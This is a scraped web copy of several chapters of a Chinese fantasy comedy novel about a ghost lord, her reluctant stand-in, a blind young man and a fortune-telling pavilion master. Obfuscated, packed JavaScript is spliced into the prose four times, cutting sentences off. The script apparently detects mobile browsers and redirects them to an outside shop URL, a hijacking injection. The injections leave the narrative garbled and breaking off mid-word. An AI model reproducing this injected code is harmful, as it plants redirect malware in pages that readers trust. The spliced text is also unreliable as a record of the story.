燕鹤青唇角微弯,全然不在意身旁人的冲天杀气,任由那画卷反复循环播放着叶泠最狼狈的一段。心情是肉眼可见的愉悦。 在那画上场景循环至第三十六次时,叶泠终于忍无可忍开口道:“燕鹤青!你这到底什么意思?稚子尚知不请自来者不可登堂入室,不就是上次打斗赢了你一次,你堂堂北鬼主怎能如此记仇,特意寻到这里讥讽我?” 燕鹤青抬眼看向她,轻笑一声,慢慢说道:“开个玩笑罢了。怎么,真生气了?不过这般生动泼辣的样子,可比你平日里故作矜持的冷淡有趣许多。” “你!”叶泠气得站了起来,手中的剑亦是应和主人,泛着流光嗡嗡作响。她忍了又忍,强行按下怒气,瞪着燕鹤青,勉勉强强开口问道:“说吧,你找我有什么事?” 燕鹤青别过脸,缓缓收敛了笑意,神情萧索,眸色寒凉,连带着声音也低落了几分:“此次结界破损,迷津中有鬼兽走失去了人界。如不及时止损,必成大祸。” 叶泠白了她一眼,收剑回鞘,双手抱臂冷淡道:“所以呢?” 燕鹤青看向她,眼含热泪悲痛不已:“我知道,这……这……这都是因为我的失职啊,没能及时察觉有人心怀叵测图谋不轨,这才让你陷入那般险境!” 叶泠:“……倒也不是。” 燕鹤青装作没听见,痛心疾首道:“是以此番我痛定思痛,决定亲自前往人界捉拿鬼兽。” 叶泠警觉地向后退了两步:“你不会又要……” 燕鹤青眼疾手快一把抓住她,低声下气祈求道:“只是我不在的这些日子,就劳烦你替我代行鬼主之责了。” 叶冷闭目装死,咬牙切齿道:“……你给我滚。这招上次上上次上上上次都用过了,现在没用了。” 燕鹤青难得有些尴尬:“咳,有吗?” 没关系,鬼主大人脸皮厚比城墙,一招不成还有一招。 “阿泠~你就帮帮我嘛,除了你我实在想不到还有谁能胜任此等重任了。”燕鹤青眼眶微红,“还是说,你不信我?” “我信。”叶泠一脸冷漠地回答。 “你信我还拒绝得这么干脆?”燕鹤青瞪大了眼睛,“难道你忍心看着鬼界因为我的离开而陷入混乱吗?” 叶泠翻了个白眼,“你少胡说八道,鬼界离了谁都照样转。” 燕鹤青叹了口气,“罢了罢了,既然你不肯帮忙,那我只好去找别人了。只是……唉,我怕其他人会心术不正,借鬼主之位谋取私利……” 她一边说着,一边装作失魂落魄的样子往门口走去。走到一半,又突然停下来,回头深情款款地望着叶泠。“但是阿泠,你知道的,除了你,我谁都信不过。” 叶泠闭眼给自己狂掐人中。 燕鹤青得意微笑。 胜负已定。 次日一早。乌归前往书阁禀报动乱事宜,本以为又要等大半个时辰,正打着瞌睡,一抬眼瞧着端坐在如山文书后埋头苦批公文的自家鬼主,委时吓了个半死。 困意顿时烟消云散。低头顿首不敢多言。 叶泠顶着燕鹤青的脸,埋在一堆文书中,面容困倦强睁双眼,目光迷离半响才虚虚落在乌归身上:“是你啊……有事么?” 乌归俯身战战兢兢答道:“回禀鬼主,昨日有螭骨兽自迷津逃出,已被属下一行同迷津的叶姑娘降服。所幸那螭骨兽只是看着吓人,举动笨拙,倒也未曾造成多少魂魄消亡。 只是……现下城东房屋地面损毁良多。不少魂魄现今流离失所。属下斗胆,请鬼主拨些灵石工匠助其修缮。” 叶泠垂头,有气无力地摆手:“准。”. 闻言,乌归微微松了一口气,应了声是。而后再度躬身奏事:“另外,关于顾公子的眼疾以及……天命一事,诸城流言四起,吵得沸沸扬扬,不知鬼主有何打算?” 叶泠揉了揉眉心,心中暗自叹气。明白自己这是又被坑了。 只是恶心不过,随意一许诺,如今不仅要处理这桌案上堆积如山浸满岁月痕迹的文书,还要替那跑去人间躲清闲的北鬼主解决那劳什子顾公子的事情。 “顾公子的眼盲,可先去寻医诊治,至于天命一事......先不急于一时,还是暂且搁置。那些街巷间的流长蜚短今后也不必再管,随它去罢。”叶泠随口应付道,无奈地想,这事绝对是另外的价钱。 一定一定得让燕鹤青给自己加钱! 乌归领命离去。叶泠默默无言于风中凌乱半晌,再度埋头于堆积如山的文书中。 往后几日仍旧相安无事。仿若那些所谓的天命,变数,动荡,逃脱,都随着北鬼主燕鹤青的悄然离去,远隔天边。 一切惊涛骇浪都被暂时隐藏在了平静无波的水面之下。 然而那迷津中蠢蠢欲动的恶兽与潜于暗处的窥伺又无声无息地昭示着,这不过是暗夜降临前,最后的短暂黎明。 如同梦境中繁华温柔景。远观叫人留恋,等到梦中人真正伸手去触的那一刻,才惊觉虚妄,拾得刹那绚烂。梦醒之后,烟树化云,万境归空。 山水七百里,上有青枫林。晴日掩映,翠色绵延。略显陈旧的殿宇坐落其间,若隐若现。山间石阶上挤满了熙熙攘攘的信徒,山顶殿宇依旧寂静无声。 天枢阁内烟雾缭绕,四周烛火燃亮,昼夜不息。正中央摆着雕着螭龙飞腾的沉香木案,尚还残留着昨日金鼎内未尽的香气,浓郁蚀骨。 桌案后,墨发雪衣,眉点朱砂的俊美男子左手执卷,不动声色地抬眼看向来人,声音冷若寒霜:“阁下未得召请,私自闯入我天枢阁,不知有何贵干?” 来人身披玄衣,面上覆着玄铁面具。一双眼古井无波,倒映着明明暗暗的烛火。 他于桌案前负手踱步,声音透着刻意扭曲后的古怪:“传闻天枢阁独立于六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340291|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界外,阁主一脉世代传承天命,可察万物生死命途。然非生死攸关危急时刻,绝不得插手六界事。” 来人嗤笑一声,语带嘲弄:“先前凡天枢阁主即位必天降异兆,万鸟齐鸣,四海同贺。偏偏你这现任阁主即位时无人问津,在位已三百余年,从不肯在人前展露半分本事。” 他转过身站定,目光如炬直直瞧向那雪衣男子,一字一顿道:“千阁主,难道你当真以为六界中无人起疑吗?” 千辞缓缓放下手中古卷,浅金色的眼瞳中写满了倦怠,静静听着来人的质问。 整个人如同冬日冻结的深潭,内里隐藏着令人捉摸不透的寒凉气息,而后平静开口,吐出人言:“说完了哈?说完了就出去啊。那边不是写了嘛,时间有限,人数众多,进来瞧一眼就得了。 咋的你没看到啊?小嘴一张叭叭叭和我说了一堆,也没见你多捐多少钱财啊。哎呀,行了行了别说了,没说完也一边站着去。别搁那大黑斗篷一盖,妨碍别的信徒瞻仰老子的美貌。” 来人:“…………………………………” 天枢阁,这是,废了? 不可能,绝对不可能! 来人咬牙,手中现出一柄暗黑沉刀,于空中轻轻一挥,刹时阁中烛火尽灭。桌案四分五裂。金鼎摔落在地,香灰书页四散。 千辞见势不妙拔腿就跑。不料左脚刚跨出殿门,背后便凭空出现一股吸力,不顾他手脚并用的挣扎将人扯了回来。 天枢阁弟子闻声赶来,瞬间将大殿围了个水泄不通。却苦于阁主未发话,不敢轻举妄动。 来人见状微微一愣,旋即将刀架上千辞的脖颈,瞪着眼恶狠狠道:“说,小鬼。天枢阁阁主究竟在哪?” 千辞举着双手,弱弱道:“在这儿。” 来人将刀又抵深了几分,将他从头到脚打量一番,冷笑道:“就凭你?也配坐镇天枢阁?” 千辞干笑两声道:“这个,说来话长。长话短说。只是活太久了,侥幸,侥幸而已。”一边说着,一边小心翼翼地以腰间取出阁主令示众。大殿中的弟子立时齐刷刷跪了一片。 来人见状,心下信了五六分。一只手拧过千辞的臂膀,“咔咔”两声卸了骨。 千辞吃痛,手一松,阁主令哐啷坠地。来人向众弟子沉声喝道:“都给我滚出去。我与你们阁主有要事相商。岂容你们在此间放肆!” 千辞痛得面色煞白,有气无力地点点头,低声道:“你们先退下。” 待众弟子踌躇着退至殿外,来人将刀放了下来,弯腰拾起那枚阁主令,递还给了千辞,语气颇为古怪地询问道:“阁主既能窥见万物命理,世代兴衰。不知是否知晓那鬼域修罗道,如今出了变数?” 千辞接过令牌,无奈道:“我说你这人,问话就问话,怎么还动手啊?还整了这么大阵仗,有话好好说不行吗?” 他稍稍活动了一下肩膀,听到对方询问鬼域修罗道的变数,心中顿时明了。 “你是鬼域中人?谁派你来的?”千辞挑眉看向眼前人。来人沉默不语。 千辞叹了口气,像模像样地掐指一算,开口忽悠道:“那鬼域修罗道的变数,远在天边,近在眼前。”又闭眼皱眉,“只是,不可明说啊。” 话音未落,只见那人身形一闪,再次拿刀抵住千辞的脖子。 “少废话!快说!” 千辞这次却是不惧,伸手推了推近在咫尺的刀刃,眼哞中透着少年的狡黠。 “你若再如此冲动,怕是永远也得不到你想要的答案了。” 6. 阁主 阎浮城。北城鬼主府已乱作一团。 向来行事莫测远在云端传言中聚集了一堆活神仙的天枢阁的阁主要亲自来鬼域,无偿为鬼算命。且亲自发话要北鬼主一路同行。 消息放出来后,乌归带领一众鬼侍日日夜夜上上下下里里外外地在城中四处乱窜。一行人怀着满腔激情敲锣打鼓吆喝着为北鬼主正名。 顾屿闲时跟着跑了几趟,凭借出众的嗓音外貌成功混成了吆喝小队的主力。一路上掷果盈怀,得了不少女鬼的秋波。 城中众鬼俱是欢天喜地笑逐颜开。唯有扮成北鬼主的叶泠则缩在屋里日夜焚香,暗自祈祷燕鹤青早点归来。 传闻中,历代天枢阁主通晓万物生死过往,亦可预知命理未来。只是天命不可言说,卦亦不可算尽。只能略略点破,任人参悟。 话是不可直说。但是那阁主又不瞎。怎么可能看不出自己是假扮的北鬼主啊。叶泠愁眉不展,在屋里踱了一圈又一圈。把地都擦亮了也没想出个所以然。 最后无奈跪在燕鹤青的灵位前焚香祷告,无比虔诚地祈求她早日归来。虽然我不是道士,但死道友不死贫道,愿君早日归来,阿弥陀佛。 日子一天天流逝,北鬼主依旧毫无踪影。叶泠只得硬着头皮假扮下去。因燕鹤青即位不久,众鬼只知晓其性情喜怒无常。 叶泠性子冷淡,不喜旁人靠近。一时倒也无鬼发现异常。就这样一日复一日,最终拖到了天枢阁主要来的日子。 这日,乌归早早起来换上喜庆的红衣,带着一众同样穿得红彤彤的鬼侍候在北鬼主房外静等差遣。 屋内叶泠盯着镜中铺了十层粉白得不能再白的脸得意微笑。都化成这鬼样了,我倒要看看还有谁能认得出来! 至于在人前丢不丢脸……无所谓,反正丢的又不是我的脸。 阎浮城门。众鬼齐齐翘首以盼,看天看地看远处,从日光熹微等到日薄西山,又从日薄西山等到月上中天。除了偶有自林中掠起飞过的夜枭带起些许响动,天地间静谧无声。 叶泠想骂人。 到了三更,除却同行的鬼侍,其余赶来凑热闹的众鬼已散了大半。叶泠面色不虞,略一抬手,正欲率领众鬼转身离去。 却见一顶白轿从天而降,轻纱飞逸,稳稳落在地上。一柄玉骨折扇自帘内伸出,轿中人缓慢挑起白纱,起身走了出来。 彼时月光澄澈如水,那人身形高挑,一袭雪衣,墨发用白缎束起,面容清冷俊逸,眉心一抹朱砂艳色。浅金眼瞳中像含了千年不化的寒冰,唇角却偏偏勾起一抹疏离笑意。正是天枢阁主千微。 千微抬眼看向城门红衣诸鬼,又看了看自己临行前特意换的白衣白轿,一时心中感慨万千。这场景,怎么看着有些像自己远嫁鬼域,鬼域众人来迎亲…… 千微咳嗽一声,努力把自己的思绪拉回到正事上来,缓步走上前去,开口道:“在下天枢阁主千微。不知北鬼主是哪位?” 众鬼沉默着齐齐散至两边,自觉为他让道。千微了然一笑,道了声谢。向道路中央的叶泠走去。 叶泠顶着苍白过分的脸愣在原地,有些心虚地避开千微的目光。身形不自觉地颤抖。眼看自己同他的距离越来越近,下定决心一咬牙,视死如归地同来人对视一眼。而后……消失在了原地。 千微:“?” 四周静默了一瞬。 千微嘴角扬起一抹僵硬的微笑,求助般看向四周众鬼,企图从中得到一个合理解释:“……你们鬼主行事一向如此……呃,别开生面吗?” 众鬼齐齐摇头,别问,问就是我们也不知道。 夜半。北城鬼主府。 月色如水,透过窗棂洒在地上,映照出一片清冷的光辉。整个府邸沉浸在寂静之中,仿佛时间都凝固了一般。 月下庭院内,燕鹤青坐在石桌旁面无表情地擦拭着手中沾血的匕首。脚边横七竖八躺了一地不知名的尸体,口吐乌血,目眦欲裂,死状极其凄惨。又过了一会儿,尸体逐渐化为烟尘,消散在天地间。 叶泠站在屋檐廊下,双手抱臂,远远看着不肯靠近:“你把我召来就是为了看这些?这些人究竟是什么来头?” 燕鹤青手中动作一顿,瞟了一眼地上尸首,冷声道:“无非还是那些。反正都已经死了,来处自然也不重要。” 她抬头看向叶泠,一字一顿道:“知道他们想杀的是谁才重要。” 叶泠微微皱眉:“他们的目标除了你跟顾屿,还能有谁?” 燕鹤青放下匕首,若有所思地看向叶泠:“本尊也想问问今夜你顶着这张比水鬼还白的脸,穿得如此隆重花哨,是为了在谁面前丢本尊的脸?” 叶泠:“…………”鬼主大人眼神挺好啊。叶泠自知理亏,有些心虚地低下头,一步步缓慢挪到燕鹤青身边,吞吞吐吐道:“是天枢阁阁主。” 燕鹤青:“我问个话而已……你羞涩什么?” 叶泠茫然抬头:“啊?有吗?” 燕鹤青单手托腮,伸手指着自己的脸颊,意味深长地看向她:“这里现在可是这么厚的白粉都遮不住的脸红啊。听说那天枢阁的阁主是个极俊美的男子,看你这样子,该不会是对人家一见钟情了吧?” 叶泠转身就走。 次日。北鬼主和天枢阁主几经波折终于成功会面。一番交谈下来双方就合作共赢一事达成高度一致。 北鬼主表示必将倾力支持天枢阁主在鬼域的算命事业。天枢阁主表示感谢,并诚挚邀请北鬼主在众鬼面前当回出头鸟。北鬼主咬牙切齿欣然应允。 于是这日街巷尽空,众鬼不约而同围在鬼主府前虚无幻化出的高台旁仰头看戏。 千微换上灰蓝锦袍,束了玉冠,仍是谦谦君子做派。站在高台上微微一笑,引得台下众多女鬼尖叫。场面一度十分混乱。 燕鹤青揉了揉自个儿眉心,心中很是烦躁。面上冷笑不已,缓缓于高台上现身。四周立时归于寂静。 千微眼神一亮,笑着朝燕鹤青拱手,“北鬼主来了,请。” 燕鹤青回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340292|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一礼,面向众鬼冷声道:“天枢阁主不远千里来我阎浮城,为的是助有缘者窥破命理消解执念。 诸位理当敬重此事,绝不可肆意调笑,轻举妄动。若有违规者,鬼侍可奉本尊命令,将其逐出城去。” 台下众鬼喏喏应声,满口不敢。燕鹤青微一挑眉,转身向千微道:“让阁主见笑了。”千微摆摆手,示意无妨。 二人于高台上坐定。千微眼眸随意扫过台下鬼众,试图从中寻得有缘人。 燕鹤青坐在一旁不紧不慢地品着茶,一眼瞧见台下躲在远处角落里看热闹,格格不入遗世而独立的某人。 鬼主大人心觉好笑,遂凭借着记仇记十年的优良传统,秉持着把人带沟里还绝不捞上来的无私精神,手指微动,暗紫灵力流转,将石块结结实实地砸了上去。 台下立时传来“唉哟”一声,于一片寂静中显得分外突兀。众鬼下意识地循声望去,只见角落里一身着月白衣衫的少年正揉着脑袋,神色懊丧,嘴里还嘟囔着某种优美的话语。 千辞莫名觉得这鬼有些意思,装模作样地闭眼掐指算了算,唇角微弯,真心实意地开口道:“方才台下那位出声的仁兄,烦请来台上一叙。” 台下出声且正揉着脑袋的顾屿:“……” 不是,我只是想来看个热闹,怎么就莫名其妙地被砸了脑袋又莫名其妙地被邀请上台了啊。好家伙,合着搞半天我看我自己的热闹啊。 顾屿暗自腹诽着,面上却露出谦和的笑容,双手摸索着向前,准备随机表演一个平地摔唤起台上人残存的良知,好蒙混过关。 于是在万鬼瞩目中,只见顾屿一个完美的左脚绊右脚,身体一歪——稳稳倒在了北鬼主燕鹤青的怀中。 众鬼:“喔吼。” 千辞:“哇哦。” 顾屿欲哭无泪,奈何眼盲辨不清眼前人是谁,只能含糊道谢,站起了身。 燕鹤青饶有兴致地打量着他,默默在心中下了定论,气色好了些,心眼也没少,只可惜过了这么久还是个瞎子。 看来那毒的分量的确是下重了些,下次再用时得注意。 北鬼主心中难得有些愧疚,看在毒的面子上,决定提点他几句。 燕鹤青一把扶过顾屿,凑近他耳边低声道:“顾公子是个聪明人,那就该明白今日一切都不过是做给人看的一场戏。如今公子既已成了戏中人,命途已定,顺势而为就好,何必徒生事端?” 顾屿只觉身边人声音似曾相识,微微别过脸,未及开口询问,身体就随风飘了起来。 顾屿:“……”再见了诸位,我先飘了。 于是在台下众鬼崇拜的眼神中,顾屿平静且悠然地飘到了高台上。 千辞看着他如同风筝一样随风飘上飘下,掩面轻轻咳嗽一声,试图掩盖唇边笑意。燕鹤青坐在一旁气定神闲地又添了一杯茶。 不多时风止。顾屿在高台上重新站定,从容行礼:“顾某见过阁主,见过鬼主。” 千辞笑道:“公子不必多礼。” 7. 金线 顾屿沉默着站在高台中央,台下诸鬼窃窃私语。话里话外争论的无非是顾屿同他们北鬼主究竟是何种关系。 混在众鬼中的说书先生将这番争论默默记下,决定顺应民心回去后再写上几本顾公子同燕鬼主的爱恨痴缠,必定又是大卖。 台上。千辞看向顾屿,浅金眼眸中微微泛起幽蓝灵光,唇边漾起一抹温和笑意:“不知顾公子生辰何时?又是因何执念坠入此地?” 本是再简单不过的问题,顾屿却沉默不语,皱着眉头,苦苦思索半晌。 最终自暴自弃地垂下眼眸,平静答道:“回阁主,我不知自己生辰何时,亦不知究竟心中有何执念未消坠入此间。” 此言一出,众鬼哗然。一众鬼觉得方才燕鹤青那番训诫犹在耳边,顾屿也不至于为此等小事撒谎。不必过分计较。 另一众鬼又觉得顾屿做鬼做得连自个生辰都不记得,实在是说不过去。肉眼可见的是在敷衍。实在该罚。 千辞的神色略微有些尴尬,不动声色地瞟了燕鹤青一眼。见北鬼主神色如常,摆明了是不想计较。 他只得维持着嘴角僵硬的弧度,硬着头皮往下继续说道:“那……那也无妨。不如公子还是先算上一卦,再由我代为窥视命理。” 言毕,千辞手中现出碧色龟甲,通身浅青,色泽莹润。远观之像是蒙上一层朦胧雾气。千辞向龟甲中装入三枚古铜钱,将其置于桌上卦盘旁。 燕鹤青向身旁鬼侍使了个眼色,鬼侍心领神会,走至台中将顾屿扶至桌前。 千辞温声道:“烦请顾公子摒除杂念,于脑海中回想过往际遇,心中默念所祈命理。” 顾屿点头应下,手中持着龟甲,依言闭目默念,而后摇动龟甲将铜钱掷出,落于卦盘之上。如此循环往复六次,卦象始成。 鬼侍捧着卦盘,奉于千辞座前。 千辞沉默着推衍一番,眼中划过一丝惊异。刚要开口言说,却是刹时双目灼痛,头痛欲裂,冷意荆棘般攀上脊骨,不妙的预感叫嚣着涌上心头。 他颤抖着一扬手打翻了卦盘,铜钱滚落在地,四散无踪。面前鬼侍战栗着伏跪于地,口口声声求阁主息怒饶命。 燕鹤青此时再也无法袖手旁观,将那鬼侍喝退,行至千辞身前。 只见千辞面色苍白如纸,整个人于座椅上踡缩成一团,眼中不见恼怒,反而浸满了痛楚与哀求。唇齿颤动着吐出模糊不清的字句。 燕鹤青俯身去听,只依稀听见“天命”“悖逆”等字眼。此番情景下不好细问。燕鹤青只作没听见,伸手为他输送灵力缓解痛楚。 约莫过了整整一刻,千辞才觉得痛楚渐消,只是身体还在不自知地颤抖。 燕鹤青站在他身旁,双眸冷若寒潭,面上神情很是担忧:“……阁主方才是怎么了?是从那卦象中瞧见什么了吗?” 千辞摇了摇头,再抬眼时目光虚虚地越过她,落在站在一旁的顾屿身上,面上神色越发凝重,缓缓开口道:“公子的命数……甚是奇特,其中似有玄机,但恕我能力有限,难以参破。” 顾屿躬身行礼道:“顾某惶恐,累阁主受惊了。” 千辞眸色黯淡,侧身向燕鹤青低语几句,略抱歉地笑了笑,拱手告辞。而后于台下众鬼或惊讶或不解的目光中,隐去了身形。 见千辞如此干脆利落善解人意地离去,台上燕鹤青微微松了一口气,又在看到呆站在一旁的顾屿时开始脑仁疼,不自觉地伸手揉了揉额头,道:“你怎么还不走?” 顾屿今日却不知为何,自平地摔跤失败后,反应似乎也慢了半拍。 神游天外好半天才想起要答话,语气里是少见的慌张:“呃……顾某看不见,站于此处如临深渊,心中惶恐,实在不知该如何走。” 燕鹤青冷眼看他,忽而道:“你很怕死吗?” 顾屿微微一怔,从容答道:“死去元知万事空。顾某一介凡人不能免俗,自然是怕的。” 燕鹤青若有所思地盯着他,沉默片刻,嗤笑一声道:“本尊原以为你和他们会有所不同……未曾想公子居然亦是贪生惧死之徒。 或许这所谓的天命本就是道束缚常人的枷锁,天命选中之人,亦不过尔尔。” 顾屿垂眸不语。对这番嘲讽也不甚在意。 心中想着对对对您说得都对,最好趁早放弃我这个平庸之辈,趁早让那天命腐朽在污泥里,别再阻碍我转世轮回。 未曾想,下一刻高台上骤然华光大盛,光芒夺目,令人难以直视。 那光晕如同涟漪般向四周扩散,迅速蔓延至阎浮城的各个角落。所过之处,枯木腐朽,白骨化尘。 一卷墨色的卷轴静静飘浮在高台中央,仿佛承载着无尽的秘密和力量。 空中哀乐鸣奏,凄凉而悲怆,闻之让人毛骨悚然。林中鸮啼鬼啸声应和着此起彼伏,久久不散。 顾屿茫然仰头望天,目光所及之处尽皆黑暗。心中焦躁不已,一时不知该如何是好,试探着举步向前。 台下呼喝声瞬间排山倒海般袭来。 燕鹤青扯过顾屿的衣袖,与他并肩行至台前,面向众鬼朗声道:“城中流言传了这么些时日,诸位想来业已知晓,顾公子所负天命极为特殊,关乎鬼域变数。 顾公子初至修罗道时,其天命之诏便降于本尊手中。方才天枢阁主窥视卦象,预知天命,于众人面前不便明说,略微提点了本尊几句。” 燕鹤青似笑非笑地看向顾屿,唇角微弯,眸色却幽深寒凉:“今日既然诸位都在。不如就在此处当着众人的面将这卷轴打开。 也请诸位作个见证,依此卷轴为顾公子寻得牵引者,今后彼此相伴共赴天命。” 顾屿闭目觉得自己现在最好找面墙撞死。抛开天命征召不谈,如此强硬找人配对,这不妥妥就是光天化日强抢民男民女的罪恶行为。 怕是死后千百年都要被人指着鼻子唾骂戳脊梁骨的。 顾屿觉得自个儿虽然本质上是个不折不扣的混蛋,但也是个勉强够得上君子道德准线的混蛋。这才在活着的时候能骗过所有人。 如今做了鬼偶尔会本性暴露,但也绝做不出这种强抢良民的勾当。 苍天明鉴啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那端金丝线慌忙躲避,转头看向燕鹤青,忽而通身一亮,直直向她冲来。 燕鹤青:“?”这什么情况? 那金丝线飞至燕鹤青身边,围着她左转三圈右转三圈,差点把自己缠成个金线团。 转晕后又摇摇脑袋,歪歪扭扭地绕上她的手指,在圈里穿啊穿,自个儿给自个儿打了个完美的死结。 燕鹤青:“……” 台下呆住的众鬼:“……” 因眼瞎看不清事态发展,被晾在一旁快气笑了的顾屿:“……” 所以能不能先来个人告诉我,这到底是发生了什么啊? 燕鹤青低头看着自己手上那金光闪闪的死结,一时有些语塞,缓了半天后,决定同死结谈判:“我知道你是替你主人打抱不平,想趁机打击报复。 但牵引者这件事关乎你主人今后的安危,不可儿戏,你乖一些,从我手上下来,不要再胡闹了,好不好?” 顾屿:“……”我真想问问你,你在跟谁讲话?声音这么温柔,不要命啦。 8. 复明 天枢阁。 自千辞那日从修罗道狼狈归来闭关后,众弟子便闭门锁阁,拒见外客。平日里聚在一处叽叽喳喳算卦看相,偶有闲暇便打着天枢阁的名号,下山摆摊赚些银钱。 众人没了阁主约束,日子倒是过得愈发快活。至于阁主的生死,似乎无人在意。 密阁内,千辞后背倚着冰棺,双目赤红,面色苍白,一阵剧烈咳嗽后吐出了今日第一口血。 面前人仍旧戴着玄铁面具,不声不响地自暗处虚无中走出,见千辞口吐鲜血孱弱至此,微不可察地皱了皱眉:“我给了你十日时间。你带回我想要的东西了吗?” 千辞茫然地抬头看向他,因几日未曾合眼,原本澄澈的浅金眼曈已布满蛛网状的血丝,于幽暗处泛着蓝光,瞧着可怜又可怖。 他试探着张了张嘴,强行开口,声音嘶哑不已:“我,试过了。我做不到。我,我帮不了你。” 来人登时大怒,手中现出暗黑沉刀,又一次架在了千辞的脖颈上。稍一用力,锋利刀刃划破皮肉,殷红的血珠一点点自其间渗出。 来人目光阴鸷,手中刀却微微有些颤抖:“既给不了我答案,那你今日便葬身此处吧!” 千辞闭目不去理会他,呕出一口血后身体一颤,再睁眼时,周身气度蓦然冷了下来,从容道:“我虽无法告知阁下那变数存在究竟意味着什么。但此事有关天命,更关乎凡界与鬼域安宁。 既如此,我天枢阁绝不会置之不理。”他话锋一转,抬眼看向来人,微微一笑道,“阁下既是受命于人,又是鬼域中人,不如告知你家主人同我天枢阁合作,共同将这变数抹杀,如何?” 来人闻言先是一怔,心中惊诧不已。方才还奄奄一息的小子这会像是突然变了个人,眸色清明,举止从容自若。盯着人看时像是能一眼看穿他人潜藏于心底的隐密。 千辞见来人呆在一旁毫无反应,颈间疼痛连绵不断传来,眸色微沉,伸出手握上刀脊,手中暗金色灵力源源不断传向那暗黑沉刀。 来人只觉手中刀逐渐变得沉重不堪,抖动得也越发厉害,心中慌张不已,忍不住大喊道:“你要做什么?” 千辞冷笑一声,将手于刀脊上轻轻一拍,利刃刹时断为数截,落在地上碎为齑粉。千辞向来人轻笑道:“作为下属,总要学会听懂话。不该说的别说,不该问的别问。 记得带话给你家主人,若愿意合作,就请他亲自来一趟天枢阁。若并无此意,我亦不强求。” 来人见打又打不过,说也说不得,一时不知如何是好,只得连连答是。待千辞说完,便瞬息间化为烟尘消散在原地。 阎浮城。北城鬼主府。 燕鹤青怎么也想不到自己堂堂一方鬼主有一天会被一根线缠上。 花言巧语说尽,威逼利诱用尽,那金线仍是紧紧缠绕纹丝不动。燕鹤青的脸色日复一日地阴沉。 同样被金线缠住的顾屿倒是对此不以为意,甚至于闲来无事,在北鬼主大人面前明目张胆地幸灾乐祸了一番。 燕鹤青不久后就让他得到了报应。 因那金线长约九尺,被缠住的双方可移动范围实在有限。是以燕鹤青坐着批文书时,顾屿得站在一旁陪着; 燕鹤青外出除恶兽时,顾屿远远躲着陪着; 燕鹤青在屋内同下属把酒话平生时,顾屿站在屋外冻得瑟瑟发抖陪着。 顾屿愤愤不平,几次想同燕鹤青理论,又都被燕鹤青三言两语怼了回来。 北鬼主淡定表示这都是金线惹的祸,自己不背锅。 顾屿一时无言以对,只得将心中怨怼发泄在自个儿身上,平白无故频频撞墙。一直撞得府内鬼尽皆知才罢休。 在顾屿结束撞墙三日后,燕鹤青决定找他谈话。彼时正值日暮,暮色四合,落日熔金。燕鹤青自文书中抬头,一眼瞧见顾屿正坐在地上倚着树,认认真真地……打瞌睡。 落日余晖总是太过温柔,将周遭万物的倦怠尽数抚平。顾屿闭目养神,湛蓝发带随风飘至肩上,发丝拂面,周身轮廓映着余晖光晕,眉眼深邃,睫羽如烟。 那是太过虚妄却又触手可及的美好,燕鹤青忽而很想在这一刻叫醒他,怕他如同画中人般随着落日沉入西山。 然而她也只是试探着张了张口,眼眸不自知地黯淡一瞬,终究静默无言。 顾屿不知道自己睡了多久。睁眼醒来时夜空中已是新月如钩。等等,顾屿不可置信地眨眨眼,将周遭一切尽收眼中。 月色下是绿柳碧溪,临水楼阁。阁内已是人去楼空,桌案上文书不知去向,只留下一盏碧色茶盏,雾气氤氲,余温未尽。 顾屿伸手扶着树缓慢起身,整只鬼处在一种“我能看见了”的狂喜与“我怎么能看见了”的疑问交织的复杂情绪中。 站在原地呆愣半晌,慌乱过后一时竟是手足无措。 站在暗处的乌归见状叹息一声,悄无声息行至顾屿身旁,行了礼后低声道:“顾公子,尊主请您去阁中一叙。” 顾屿看向乌归,不确定地问道:“你是……元兄?” 乌归忙道不敢,引着顾屿入了那座临水楼阁。二人几番左拐右转,又过了不知多少道隐秘机关,最后踏入门中,停在了一扇木刻雕花屏风前。 屏风后隐隐传来棋盘落子的清脆声响,似有人在对弈。 乌归恭敬行礼,谨慎道:“禀尊主,人已带到了。” 顾屿站在一旁,抱臂低头沉思,觉得自己好像漏掉了什么。忽而一眼瞧见自个儿手腕上缠绕一圈的金丝线,心中一动,登时明了。 这金丝线长度有限,可方才燕鹤青分明坐于此处同自己隔了十万八千里远。那缠在燕鹤青那端的金线就该是已经解开了。 既然能解开,顾屿扯了扯自己手腕上的金线,金线却仍旧是纹丝不动。 正皱眉思索间,冷不妨耳畔传来燕鹤青略显倦怠的声音:“让他过来。” 顾屿下意识地抬头,同乌归对视一眼。乌归低着头很是自觉地从屋内退了出去。 顾屿绕过屏风,入眼只见木桌上摆着白玉棋盘,黑白双方战至酣处,僵持不下。 白子玲珑剔透,焕然如新,相较之下,黑子材质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 